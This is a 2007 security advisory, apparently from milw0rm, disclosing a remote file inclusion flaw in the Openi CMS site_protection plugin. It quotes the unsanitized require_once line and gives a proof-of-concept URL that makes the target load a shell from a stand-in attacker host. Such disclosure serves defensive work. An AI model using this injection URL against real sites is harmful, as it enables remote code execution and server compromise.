78 lines
No EOL
2.5 KiB
Text
78 lines
No EOL
2.5 KiB
Text
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[ECHO_ADV_64$2007] Openi CMS plugins (site protection) remote file inclusion
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Author : Ahmad Muammar W.K (a.k.a) y3dips
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Date Found : February, 11 2007
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Location : Indonesia, Jakarta
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web : http://echo.or.id/adv/adv64-y3dips-2007.txt
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Critical Lvl : Critical
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : Internal range (site protection), version: 1.0
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Openi CMS plugins (http://www.openi-cms.org)
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URL : http://www.openi-cms.org
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Download-path : http://www.openi-cms.org/oi-download.php/45/file_src/oi_plugin_site_protection_1_0.zip
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Description : With this Plugin you can release page ranges only for certain users. The user
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must authentifizieren itself with user name and password. Several users for
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a page range can be put on. Users and sides which can be protected are put on
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in the editorship environment by the administrator.
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Vulnerability:
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~~~~~~~~~~~~~~
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Variables "oi_dir" in index.php are not properly sanitized.
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---------------index.php --------------------
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...
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<?PHP
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global $config;
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require_once($config["oi_dir"]."/base/sitemap_classes.php");
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class plg_site_protection extends Plugin {
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...
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----------------------------------------------
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An attacker can exploit this vulnerability with a simple php injection script.
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Poc/Exploit:
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~~~~~~~~~~~~
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http://target-openi/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://attacker/shell.php ?
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Notes:
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~~~~~~
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i have to change the variable "oi_dir" to "openi_dir" to get the cms works (config file),
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but then u just change the exploit to
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http://target-openi/open-admin/plugins/site_protection/index.php?config%5bopeni_dir%5d=http://attacker/shell.php?
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it doesnt matter coz the variable still unsanitized.
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---------------------------------------------------------------------------
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Shoutz:
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~~~~~~~
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~ my lovely ana
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~ k-159 (never stop advising [pushing] me :P), the_day (echo young evil thinker),
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~ and all echo staff
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~ str0ke, waraxe, negative
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~ newbie_hacker@yahoogroups.com
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~ #e-c-h-o @irc.dal.net
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---------------------------------------------------------------------------
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Contact:
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~~~~~~~~
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y3dips|| echo|staff || y3dips[at]gmail[dot]com
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Homepage: http://y3dips.echo.or.id/
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# milw0rm.com [2007-02-11] |